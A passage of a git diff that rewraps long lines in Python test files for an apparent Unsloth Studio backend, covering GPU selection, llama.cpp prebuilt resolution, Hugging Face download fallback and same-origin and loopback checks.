[(0, 8000, 24000)], {}) is True def test_zero_offload_flag_true_for_unmasked_vulkan(monkeypatch): - monkeypatch.setattr(LlamaCppBackend, "_is_vulkan_backend", staticmethod(lambda: True)) + monkeypatch.setattr( + LlamaCppBackend, "_is_vulkan_backend", staticmethod(lambda: True) + ) cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0"] assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True @@ -875,5 +916,13 @@ def test_cmd_companion_ignores_cpu_forced_drafter(): cmd = ["llama-server", "-md", "d.gguf", "--spec-draft-device", "cpu"] assert has(cmd, {}) is False # mmproj still counts even alongside a CPU drafter. - cmd = ["llama-server", "-md", "d.gguf", "--spec-draft-ngl", "0", "--mmproj", "p.gguf"] + cmd = [ + "llama-server", + "-md", + "d.gguf", + "--spec-draft-ngl", + "0", + "--mmproj", + "p.gguf", + ] assert has(cmd, {}) is True diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py index d4f2fbe993..316253d0fe 100644 --- a/studio/backend/tests/test_gpu_selection.py +++ b/studio/backend/tests/test_gpu_selection.py @@ -85,7 +85,9 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase): def test_parent_visibility_uses_empty_numeric_ids_for_uuid_masks(self): with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True + ), patch("utils.hardware.hardware.get_physical_gpu_count", return_value = 8), ): self.assertEqual(get_parent_visible_gpu_ids(), []) @@ -115,7 +117,9 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase): def test_explicit_ids_are_rejected_for_uuid_parent_visibility(self): with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True + ), patch("utils.hardware.hardware.get_physical_gpu_count", return_value = 8), ): with self.assertRaisesRegex( @@ -354,9 +358,13 @@ class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase): }, ] with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True + ), patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.hardware._torch_get_physical_gpu_count", return_value = 2), + patch( + "utils.hardware.hardware._torch_get_physical_gpu_count", return_value = 2 + ), patch( "utils.hardware.hardware._torch_get_per_device_info", return_value = fake_torch_devices, @@ -400,7 +408,9 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_get_device_map_uses_all_inherited_visible_gpus_for_uuid_masks(self): with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True + ), patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), ): self.assertEqual(get_device_map(None), "balanced") @@ -528,7 +538,9 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): return_value = 1234, ), ): - model_size_bytes, source = _hw_module.estimate_fp16_model_size_bytes("unsloth/test") + model_size_bytes, source = _hw_module.estimate_fp16_model_size_bytes( + "unsloth/test" + ) self.assertEqual(model_size_bytes, 1234) self.assertEqual(source, "vllm_utils") @@ -626,7 +638,9 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self): with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True + ), patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.estimate_required_model_memory_gb", @@ -674,7 +688,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): patch( "core.training.training._CTX.Process", return_value = DummyProcess() ) as mock_process, - patch("core.training.training.threading.Thread", return_value = DummyThread()), + patch( + "core.training.training.threading.Thread", return_value = DummyThread() + ), ): backend.start_training( job_id = "test-job-1", @@ -715,7 +731,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): patch( "core.training.training._CTX.Process", return_value = DummyProcess() ) as mock_process, - patch("core.training.training.threading.Thread", return_value = DummyThread()), + patch( + "core.training.training.threading.Thread", return_value = DummyThread() + ), ): backend.start_training( job_id = "test-job-2", @@ -745,7 +763,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): dummy_queue = object() with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True + ), patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "core.training.training._CTX.Queue", @@ -754,7 +774,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): patch( "core.training.training._CTX.Process", return_value = DummyProcess() ) as mock_process, - patch("core.training.training.threading.Thread", return_value = DummyThread()), + patch( + "core.training.training.threading.Thread", return_value = DummyThread() + ), patch( "utils.hardware.hardware.estimate_required_model_memory_gb", return_value = ( @@ -772,7 +794,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): config = mock_process.call_args.kwargs["kwargs"]["config"] self.assertIsNone(config["resolved_gpu_ids"]) - self.assertEqual(config["gpu_selection"]["selection_mode"], "inherit_parent_visible") + self.assertEqual( + config["gpu_selection"]["selection_mode"], "inherit_parent_visible" + ) def test_inference_orchestrator_resolves_explicit_gpu_ids_before_spawn(self): class DummyThread: @@ -800,7 +824,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): "_wait_response", return_value = {"success": True, "model_info": {}}, ), - patch("utils.transformers_version.needs_transformers_5", return_value = False), + patch( + "utils.transformers_version.needs_transformers_5", return_value = False + ), ): self.assertTrue(orchestrator.load_model(config = config, gpu_ids = [1])) @@ -835,7 +861,9 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): "_wait_response", return_value = {"success": True, "model_info": {}}, ), - patch("utils.transformers_version.needs_transformers_5", return_value = False), + patch( + "utils.transformers_version.needs_transformers_5", return_value = False + ), ): self.assertTrue(orchestrator.load_model(config = config, gpu_ids = None)) @@ -940,7 +968,9 @@ class TestRouteErrors(unittest.TestCase): raise ValueError("Invalid gpu_ids [99]") with ( - patch.object(training_route, "get_training_backend", return_value = DummyBackend()), + patch.object( + training_route, "get_training_backend", return_value = DummyBackend() + ), patch( "routes.training_vram.summarize_resident_chat", return_value = {"any": False, "hf": None, "gguf": None}, @@ -951,7 +981,9 @@ class TestRouteErrors(unittest.TestCase): ), ): with self.assertRaises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) self.assertEqual(exc_info.exception.status_code, 400) self.assertIn("gpu_ids [99]", exc_info.exception.detail) @@ -980,7 +1012,9 @@ class TestRouteErrors(unittest.TestCase): ) with ( - patch.object(training_route, "get_training_backend", return_value = DummyBackend()), + patch.object( + training_route, "get_training_backend", return_value = DummyBackend() + ), patch( "routes.training_vram.summarize_resident_chat", return_value = {"any": False, "hf": None, "gguf": None}, @@ -991,7 +1025,9 @@ class TestRouteErrors(unittest.TestCase): ), ): with self.assertRaises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) self.assertEqual(exc_info.exception.status_code, 400) self.assertIn("UUID/MIG", exc_info.exception.detail) @@ -1145,7 +1181,9 @@ class TestRaiseIfOffloaded(unittest.TestCase): def test_cpu_offload_raises(self): from utils.hardware import raise_if_offloaded - model = SimpleNamespace(hf_device_map = {"model.layers.0": 0, "model.layers.1": "cpu"}) + model = SimpleNamespace( + hf_device_map = {"model.layers.0": 0, "model.layers.1": "cpu"} + ) with self.assertRaisesRegex(ValueError, "offloaded"): raise_if_offloaded(model, "balanced", "Test") diff --git a/studio/backend/tests/test_gpu_selection_sandbox.py b/studio/backend/tests/test_gpu_selection_sandbox.py index 733933271b..1bd01ef16e 100644 --- a/studio/backend/tests/test_gpu_selection_sandbox.py +++ b/studio/backend/tests/test_gpu_selection_sandbox.py @@ -382,7 +382,9 @@ class TestResolveRequestedGpuIds(unittest.TestCase): def test_uuid_env_var_rejects_explicit_ids(self): from utils.hardware.hardware import resolve_requested_gpu_ids with ( - patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-abc,GPU-def"}, clear = False), + patch.dict( + os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-abc,GPU-def"}, clear = False + ), patch("utils.hardware.hardware.get_physical_gpu_count", return_value = 8), ): with self.assertRaises(ValueError): diff --git a/studio/backend/tests/test_hf_token_validation.py b/studio/backend/tests/test_hf_token_validation.py index 31b30fc37d..f05e6bbd45 100644 --- a/studio/backend/tests/test_hf_token_validation.py +++ b/studio/backend/tests/test_hf_token_validation.py @@ -73,7 +73,10 @@ def test_window_rolls_forward(monkeypatch): ) assert validation.validate_hf_token("hf_a", rate_key = "user:ip").status == "invalid" - assert validation.validate_hf_token("hf_b", rate_key = "user:ip").status == "rate_limited" + assert ( + validation.validate_hf_token("hf_b", rate_key = "user:ip").status + == "rate_limited" + ) clock["now"] += 11.0 assert validation.validate_hf_token("hf_b", rate_key = "user:ip").status == "invalid" diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py index 48aff29659..19b9f0d938 100644 --- a/studio/backend/tests/test_hf_xet_fallback.py +++ b/studio/backend/tests/test_hf_xet_fallback.py @@ -72,7 +72,11 @@ def test_shim_injects_studio_prepare_on_http_retry(monkeypatch): """A Xet stall retries over HTTP and the shim runs Unsloth's marker-aware ``prepare_cache_for_transport(..., 'http')`` before the retry.""" _requires_shared() - for var in ("UNSLOTH_DISABLE_XET", "UNSLOTH_STABLE_DOWNLOADS", "HF_HUB_DISABLE_XET"): + for var in ( + "UNSLOTH_DISABLE_XET", + "UNSLOTH_STABLE_DOWNLOADS", + "HF_HUB_DISABLE_XET", + ): monkeypatch.delenv(var, raising = False) monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None) @@ -101,13 +105,17 @@ def test_shim_injects_studio_prepare_on_http_retry(monkeypatch): prepared = [] monkeypatch.setattr( "hub.utils.download_registry.prepare_cache_for_transport", - lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)), + lambda repo_type, repo_id, mode, *a, **k: prepared.append( + (repo_type, repo_id, mode) + ), ) out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) assert out == "/cache/model.gguf" assert seen_disable_xet == [False, True] # Xet first, then HTTP - assert prepared == [("model", DL_REPO, "http")], "shim must run Unsloth's marker-aware prep" + assert prepared == [ + ("model", DL_REPO, "http") + ], "shim must run Unsloth's marker-aware prep" def test_shim_snapshot_injects_studio_prepare(monkeypatch): @@ -119,7 +127,9 @@ def test_shim_snapshot_injects_studio_prepare(monkeypatch): captured["prepare_for_http_fn"] = kwargs.get("prepare_for_http_fn") return "/tmp/snap-dir" - monkeypatch.setattr(xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot) + monkeypatch.setattr( + xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot + ) out = xf.snapshot_download_with_xet_fallback("org/model") assert out == "/tmp/snap-dir" assert captured["repo_id"] == "org/model" @@ -192,7 +202,9 @@ def test_degrades_gracefully_without_shared_helper(monkeypatch): cancelled.set() called.clear() with pytest.raises(RuntimeError, match = "Cancelled"): - degraded.snapshot_download_with_xet_fallback("org/model", cancel_event = cancelled) + degraded.snapshot_download_with_xet_fallback( + "org/model", cancel_event = cancelled + ) assert "repo_id" not in called, "degraded download ran despite cancellation" finally: sys.meta_path.remove(finder) @@ -218,7 +230,9 @@ def test_degrades_when_unsloth_zoo_entirely_absent(): ): # Whole package absent, so ModuleNotFoundError.name is the top-level 'unsloth_zoo'. if name == "unsloth_zoo" or name.startswith("unsloth_zoo."): - raise ModuleNotFoundError("No module named 'unsloth_zoo'", name = "unsloth_zoo") + raise ModuleNotFoundError( + "No module named 'unsloth_zoo'", name = "unsloth_zoo" + ) return None finder = _BlockZoo() @@ -365,5 +379,9 @@ def test_importing_child_should_disable_xet_stays_light(monkeypatch): assert mod.child_should_disable_xet({"disable_xet": True}) is True assert mod.child_should_disable_xet({}) is False # And nothing heavy was imported as a side effect. - assert "transformers" not in sys.modules, "importing the shim must not import transformers" - assert "unsloth_zoo" not in sys.modules, "importing the shim must not import unsloth_zoo" + assert ( + "transformers" not in sys.modules + ), "importing the shim must not import transformers" + assert ( + "unsloth_zoo" not in sys.modules + ), "importing the shim must not import unsloth_zoo" diff --git a/studio/backend/tests/test_host_defaults.py b/studio/backend/tests/test_host_defaults.py index 5c7129bc65..fc9dfc5dbf 100644 --- a/studio/backend/tests/test_host_defaults.py +++ b/studio/backend/tests/test_host_defaults.py @@ -20,7 +20,10 @@ def _parse_function_param_defaults(source: str, func_name: str) -> dict: """ tree = ast.parse(source) for node in ast.walk(tree): - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) and node.name == func_name: + if ( + isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) + and node.name == func_name + ): result = {} all_args = node.args.args defaults = node.args.defaults @@ -66,7 +69,9 @@ def test_run_server_default_host_is_loopback(): """ source = _RUN_PY.read_text() defaults = _parse_function_param_defaults(source, "run_server") - assert "host" in defaults, "run_server() must have a 'host' parameter with a default" + assert ( + "host" in defaults + ), "run_server() must have a 'host' parameter with a default" host_default = defaults["host"] assert host_default == "127.0.0.1", ( f"run_server() host default must be '127.0.0.1' (loopback) " @@ -83,7 +88,9 @@ def test_argparse_default_host_is_loopback(): """ source = _RUN_PY.read_text() host_default = _parse_argparse_add_argument_default(source, "--host") - assert host_default is not None, "Could not find add_argument('--host', ...) in run.py" + assert ( + host_default is not None + ), "Could not find add_argument('--host', ...) in run.py" assert ( host_default == "127.0.0.1" ), f"run.py argparse --host default must be '127.0.0.1', got '{host_default}'" diff --git a/studio/backend/tests/test_identity.py b/studio/backend/tests/test_identity.py index 712348f7ca..6cae423714 100644 --- a/studio/backend/tests/test_identity.py +++ b/studio/backend/tests/test_identity.py @@ -49,7 +49,8 @@ def test_compute_identity_proof_matches_manual_hmac(): assert storage.compute_identity_proof(nonce, HOST, PORT) == expected # Bound to nonce, host and port: changing any one yields a different proof. assert ( - storage.compute_identity_proof(b"a-different-nonce-entirely-here!!", HOST, PORT) != expected + storage.compute_identity_proof(b"a-different-nonce-entirely-here!!", HOST, PORT) + != expected ) assert storage.compute_identity_proof(nonce, "127.0.0.2", PORT) != expected assert storage.compute_identity_proof(nonce, HOST, PORT + 1) != expected diff --git a/studio/backend/tests/test_index_bootstrap_loopback.py b/studio/backend/tests/test_index_bootstrap_loopback.py index 87abace22c..61c3870eb1 100644 --- a/studio/backend/tests/test_index_bootstrap_loopback.py +++ b/studio/backend/tests/test_index_bootstrap_loopback.py @@ -17,7 +17,9 @@ def _request( if request_host is not None: hdrs["host"] = request_host hdrs.update(headers or {}) - return SimpleNamespace(client = client, headers = hdrs, url = SimpleNamespace(hostname = request_host)) + return SimpleNamespace( + client = client, headers = hdrs, url = SimpleNamespace(hostname = request_host) + ) def test_loopback_peers_are_local(): @@ -110,7 +112,9 @@ def test_colab_allows_notebook_proxy_but_not_shareable_tunnel(monkeypatch): # In-notebook proxy: same-origin, no tunnel header, injects off-loopback too. assert main._should_inject_bootstrap(_request("10.0.0.2", "colab.proxy")) is True # Shareable Cloudflare link marks visitors with cf-connecting-ip; withhold. - tunnel = _request("127.0.0.1", "localhost", headers = {"cf-connecting-ip": "203.0.113.7"}) + tunnel = _request( + "127.0.0.1", "localhost", headers = {"cf-connecting-ip": "203.0.113.7"} + ) assert main._should_inject_bootstrap(tunnel) is False diff --git a/studio/backend/tests/test_index_bootstrap_origin.py b/studio/backend/tests/test_index_bootstrap_origin.py index b9d7f58867..962d3f6cb0 100644 --- a/studio/backend/tests/test_index_bootstrap_origin.py +++ b/studio/backend/tests/test_index_bootstrap_origin.py @@ -65,7 +65,9 @@ def test_is_same_origin_request_https_default_port_stripped_on_origin(): """RFC 6454 strips default ports on Origin; canonicalise both sides so this stays same-origin.""" from main import _is_same_origin_request - req = _build_request("example.com:443", origin = "https://example.com", scheme = "https") + req = _build_request( + "example.com:443", origin = "https://example.com", scheme = "https" + ) assert _is_same_origin_request(req) is True @@ -79,7 +81,9 @@ def test_is_same_origin_request_default_port_present_on_origin(): """Mirror case: Origin carries the default port, netloc doesn't. Same-origin.""" from main import _is_same_origin_request - req = _build_request("example.com", origin = "https://example.com:443", scheme = "https") + req = _build_request( + "example.com", origin = "https://example.com:443", scheme = "https" + ) assert _is_same_origin_request(req) is True @@ -127,5 +131,7 @@ def test_is_same_origin_request_explicit_non_default_port_still_mismatch(): """Canonicalisation does NOT collapse non-default ports to default.""" from main import _is_same_origin_request - req = _build_request("example.com", origin = "https://example.com:9999", scheme = "https") + req = _build_request( + "example.com", origin = "https://example.com:9999", scheme = "https" + ) assert _is_same_origin_request(req) is False diff --git a/studio/backend/tests/test_index_bootstrap_origin_extra.py b/studio/backend/tests/test_index_bootstrap_origin_extra.py index e1c52a653e..40f2a62d57 100644 --- a/studio/backend/tests/test_index_bootstrap_origin_extra.py +++ b/studio/backend/tests/test_index_bootstrap_origin_extra.py @@ -91,7 +91,9 @@ def test_is_same_origin_request_data_url_origin_is_cross_origin(): """``data:`` URLs are opaque origins (HTML living standard); no host, never same-origin.""" from main import _is_same_origin_request - req = _build_request("127.0.0.1:8902", origin = "data:text/html,") + req = _build_request( + "127.0.0.1:8902", origin = "data:text/html," + ) assert _is_same_origin_request(req) is False diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py index 6184496d78..d5b376a0e1 100644 --- a/studio/backend/tests/test_inference_dispatcher_resilience.py +++ b/studio/backend/tests/test_inference_dispatcher_resilience.py @@ -49,13 +49,17 @@ def test_dispatcher_survives_malformed_response_and_routes_next(): o._mailboxes = {rid: mbox} # A non-dict response (resp.get -> AttributeError) must not kill the loop; # the following valid response must still reach its mailbox. - o._resp_queue = _ScriptedQueue([12345, {"request_id": rid, "type": "token", "text": "hi"}]) + o._resp_queue = _ScriptedQueue( + [12345, {"request_id": rid, "type": "token", "text": "hi"}] + ) t = threading.Thread(target = o._dispatcher_loop, daemon = True) t.start() try: got = mbox.get(timeout = 5) - assert got["text"] == "hi", "valid response must route despite the prior bad one" + assert ( + got["text"] == "hi" + ), "valid response must route despite the prior bad one" assert t.is_alive(), "dispatcher must survive a malformed response" finally: o._dispatcher_stop.set() @@ -94,9 +98,9 @@ def test_dispatcher_survives_mailbox_put_error(): def test_route_llama_streaming_async_clients_disable_proxy_env(): """Local llama-server streaming proxies must ignore ambient HTTP_PROXY.""" - source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text( - encoding = "utf-8" - ) + source = ( + Path(__file__).resolve().parent.parent / "routes" / "inference.py" + ).read_text(encoding = "utf-8") tree = ast.parse(source) calls = [] for node in ast.walk(tree): @@ -115,6 +119,8 @@ def test_route_llama_streaming_async_clients_disable_proxy_env(): assert len(calls) == 5 for call in calls: assert any( - kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False + kw.arg == "trust_env" + and isinstance(kw.value, ast.Constant) + and kw.value.value is False for kw in call.keywords ), f"httpx.AsyncClient at line {call.lineno} must set trust_env=False" diff --git a/studio/backend/tests/test_inference_model_validation.py b/studio/backend/tests/test_inference_model_validation.py index 2427ad35fa..56cc6d215e 100644 --- a/studio/backend/tests/test_inference_model_validation.py +++ b/studio/backend/tests/test_inference_model_validation.py @@ -201,7 +201,10 @@ def test_walkback_skips_explicitly_consumed_tool_call_id(): {"role": "tool", "content": "second result"}, ] ) - assert [m.tool_call_id for m in req.messages if m.role == "tool"] == ["call_a", "call_b"] + assert [m.tool_call_id for m in req.messages if m.role == "tool"] == [ + "call_a", + "call_b", + ] def test_walkback_handles_malformed_function_string(): diff --git a/studio/backend/tests/test_inference_orchestrator_crash_message.py b/studio/backend/tests/test_inference_orchestrator_crash_message.py index be1a673e62..b75e049280 100644 --- a/studio/backend/tests/test_inference_orchestrator_crash_message.py +++ b/studio/backend/tests/test_inference_orchestrator_crash_message.py @@ -25,7 +25,9 @@ def test_subprocess_crash_message_includes_signal_and_oom_hint(): msg = orchestrator._subprocess_crash_message("wait") - assert msg.startswith("The inference worker stopped unexpectedly while loading the model.") + assert msg.startswith( + "The inference worker stopped unexpectedly while loading the model." + ) assert "memory pressure" in msg assert "smaller model" in msg assert "Details:" in msg diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py index 3ebad861ad..74ee1787bd 100644 --- a/studio/backend/tests/test_install_resolve_prebuilt.py +++ b/studio/backend/tests/test_install_resolve_prebuilt.py @@ -112,7 +112,13 @@ def _run_resolve(monkeypatch, capsys, plans_or_exc): monkeypatch.setattr( sys, "argv", - ["install_llama_prebuilt.py", "--resolve-prebuilt", "latest", "--output-format", "json"], + [ + "install_llama_prebuilt.py", + "--resolve-prebuilt", + "latest", + "--output-format", + "json", + ], ) rc = ilp.main() assert rc == ilp.EXIT_SUCCESS @@ -124,7 +130,9 @@ def test_resolve_prebuilt_available(monkeypatch, capsys): release_tag = "b9585", llama_tag = "b9585", attempts = [ - SimpleNamespace(name = "llama-b9585-bin-macos-arm64.tar.gz", install_kind = "macos-arm64") + SimpleNamespace( + name = "llama-b9585-bin-macos-arm64.tar.gz", install_kind = "macos-arm64" + ) ], ) out = _run_resolve(monkeypatch, capsys, [plan]) @@ -154,7 +162,13 @@ def _run_resolve_capture_host(monkeypatch, capsys): monkeypatch.setattr( sys, "argv", - ["install_llama_prebuilt.py", "--resolve-prebuilt", "latest", "--output-format", "json"], + [ + "install_llama_prebuilt.py", + "--resolve-prebuilt", + "latest", + "--output-format", + "json", + ], ) assert ilp.main() == ilp.EXIT_SUCCESS out = json.loads(capsys.readouterr().out.strip().splitlines()[-1]) @@ -164,7 +178,9 @@ def _run_resolve_capture_host(monkeypatch, capsys): def test_resolve_prebuilt_cpu_linux_routes_to_fork(monkeypatch, capsys): # CPU-only Linux host (no GPU): the dispatch routes to the fork, which now # ships the CPU prebuilt -- it no longer falls back to ggml-org upstream. - monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True)) + monkeypatch.setattr( + ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True) + ) seen, out = _run_resolve_capture_host(monkeypatch, capsys) assert seen["repo"] == FORK assert out["repo"] == FORK @@ -176,9 +192,13 @@ def test_resolve_prebuilt_rocm_sdk_only_host_still_offered_cpu(monkeypatch, caps # must NOT reclassify it as ROCm from tool presence alone and suppress the CPU # bundle -- that would deny the fork CPU prebuilt to a legitimate CPU source # build. The host is left CPU-only and resolves against the fork. - monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True)) monkeypatch.setattr( - ilp.shutil, "which", lambda tool: "/opt/rocm/bin/hipconfig" if tool == "hipconfig" else None + ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True) + ) + monkeypatch.setattr( + ilp.shutil, + "which", + lambda tool: "/opt/rocm/bin/hipconfig" if tool == "hipconfig" else None, ) seen, out = _run_resolve_capture_host(monkeypatch, capsys) assert seen["repo"] == FORK @@ -207,7 +227,9 @@ def test_host_is_blackwell_includes_datacenter_parts(): assert ilp._host_is_blackwell(_gpu_linux_host(["12.1"])) is True # DGX Spark sm_121 assert ilp._host_is_blackwell(_gpu_linux_host(["9.0"])) is False # Hopper assert ilp._host_is_blackwell(_gpu_linux_host(["8.0"])) is False # Ampere - assert ilp._host_is_blackwell(_gpu_linux_host(["9.0", "10.0"])) is True # highest cap wins + assert ( + ilp._host_is_blackwell(_gpu_linux_host(["9.0", "10.0"])) is True + ) # highest cap wins def _linux_cuda_artifact(runtime_line, supported_sms, min_sm, max_sm, profile): @@ -237,13 +259,19 @@ def test_linux_blackwell_override_prefers_cuda13_for_datacenter(monkeypatch): repo = FORK, release_tag = "b9739-mix", upstream_tag = "b9739", - assets = {cuda12.asset_name: "https://x/cuda12", cuda13.asset_name: "https://x/cuda13"}, + assets = { + cuda12.asset_name: "https://x/cuda12", + cuda13.asset_name: "https://x/cuda13", + }, artifacts = [cuda12, cuda13], ) monkeypatch.setattr( ilp, "detected_linux_runtime_lines", - lambda: (["cuda13", "cuda12"], {"cuda13": ["/usr/lib"], "cuda12": ["/usr/lib"]}), + lambda: ( + ["cuda13", "cuda12"], + {"cuda13": ["/usr/lib"], "cuda12": ["/usr/lib"]}, + ), ) selection = ilp.linux_cuda_choice_from_release( @@ -340,7 +368,8 @@ def _upstream_release(tag, asset_names): return { "tag_name": tag, "assets": [ - {"name": n, "browser_download_url": f"https://example/{n}"} for n in asset_names + {"name": n, "browser_download_url": f"https://example/{n}"} + for n in asset_names ], } @@ -351,7 +380,10 @@ def test_direct_upstream_arm64_intel_prefers_vulkan(): host = _host(is_linux = True, is_arm64 = True, machine = "aarch64", has_intel_gpu = True) rel = _upstream_release( "b9925", - ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"], + [ + "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", + "llama-b9925-bin-ubuntu-arm64.tar.gz", + ], ) plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") kinds = [a.install_kind for a in plan.attempts] @@ -374,7 +406,10 @@ def test_direct_upstream_intel_with_hidden_nvidia_is_cpu_only(): ) rel = _upstream_release( "b9925", - ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"], + [ + "llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", + "llama-b9925-bin-ubuntu-x64.tar.gz", + ], ) plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") assert [a.install_kind for a in plan.attempts] == ["linux-cpu"] @@ -384,7 +419,10 @@ def test_direct_upstream_arm64_without_intel_is_cpu_only(): host = _host(is_linux = True, is_arm64 = True, machine = "aarch64") rel = _upstream_release( "b9925", - ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"], + [ + "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", + "llama-b9925-bin-ubuntu-arm64.tar.gz", + ], ) plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") assert [a.install_kind for a in plan.attempts] == ["linux-arm64"] @@ -394,7 +432,10 @@ def test_direct_upstream_x86_intel_prefers_vulkan(): host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) rel = _upstream_release( "b9925", - ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"], + [ + "llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", + "llama-b9925-bin-ubuntu-x64.tar.gz", + ], ) plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") kinds = [a.install_kind for a in plan.attempts] @@ -422,7 +463,9 @@ def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin(): # Routing fork -> upstream also drops the fork release pin, which is in a # different tag namespace and would make the upstream resolver miss. host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) - routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = False) + routed, repo, tag = ilp._route_to_vulkan_prebuilt( + host, FORK, "b9596-mix-abc", force_cpu = False + ) assert repo == UPSTREAM assert tag == "" assert routed.has_intel_gpu is True @@ -431,7 +474,9 @@ def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin(): def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin(): # A pin set WITH an explicit upstream repo is already on upstream -> kept. host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) - _routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, UPSTREAM, "b9596", force_cpu = False) + _routed, repo, tag = ilp._route_to_vulkan_prebuilt( + host, UPSTREAM, "b9596", force_cpu = False + ) assert repo == UPSTREAM assert tag == "b9596" @@ -439,14 +484,18 @@ def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin(): def test_route_to_vulkan_prebuilt_cpu_fallback_wins(): # --cpu-fallback suppresses Vulkan routing even for an Intel host. host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) - routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = True) + routed, repo, tag = ilp._route_to_vulkan_prebuilt( + host, FORK, "b9596-mix-abc", force_cpu = True + ) assert repo == FORK assert tag == "b9596-mix-abc" assert routed is host @pytest.mark.parametrize("cpu_flag", ["--cpu-fallback", "--force-cpu"]) -def 